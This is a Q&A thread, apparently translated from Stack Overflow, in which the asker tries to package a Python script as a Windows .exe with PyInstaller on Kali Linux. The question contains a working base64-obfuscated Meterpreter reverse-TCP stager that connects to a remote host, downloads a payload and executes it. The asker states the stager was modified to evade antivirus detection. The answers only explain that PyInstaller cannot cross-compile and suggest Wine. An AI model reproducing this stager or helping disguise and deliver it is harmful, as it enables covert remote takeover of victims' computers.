【问题标题】:Compiling Python to .EXE instead of .ELF on Linux在 Linux 上将 Python 编译为 .EXE 而不是 .ELF
【发布时间】:2017-10-01 01:57:18
【问题描述】:

我正在 Kali Linux 上编译 Python 代码。我想生成一个在 Windows 上运行的 .exe 文件。这些是 PyInstaller 的以下设置:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

并且代码只是带有一些 cmets 的meterpreter,以避免反病毒检测。以下代码为:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

当我编译它时,我收到一个 .ELF 文件而不是 .EXE。也许我的目录有误?我不这么认为,因为我检查了大多数与 PyInstaller 相关的目录。我已经阅读了 PyInstaller 的指南,但它似乎没有用。有什么解决方案可以在 Linux 上编译 Python 代码以获得 Windows 的 .exe 文件吗?

【问题讨论】:

标签: python linux windows pyinstaller


【解决方案1】:

来自the documentation

PyInstaller 的输出特定于活动操作系统和 Python 的活动版本。这意味着要为以下内容准备分发:

  • 不同的操作系统
  • 不同版本的 Python
  • 32 位或 64 位操作系统

你在那个操作系统上运行 PyInstaller,在那个版本的 Python 下。执行 PyInstaller 的 Python 解释器是包的一部分,它特定于操作系统和字长。

你不能在运行 Python 的 Kali 下生成 .exe。

【讨论】:

    【解决方案2】:

    伊格纳西奥的回答是正确的。 Linux 版本的 pyinstaller 不会构建 Windows PE。

    一个[复杂] 解决方法是安装 wine,然后在 wine 上安装 python(和在 wine 上安装 pyinstaller)。

    然后运行 ​​wine 的 pyinstaller 来构建 exe。

    【讨论】:

      猜你喜欢
      • 2011-07-04
      • 2013-07-19
      • 2019-07-18
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2014-07-20
      • 2023-03-04
      相关资源
      最近更新 更多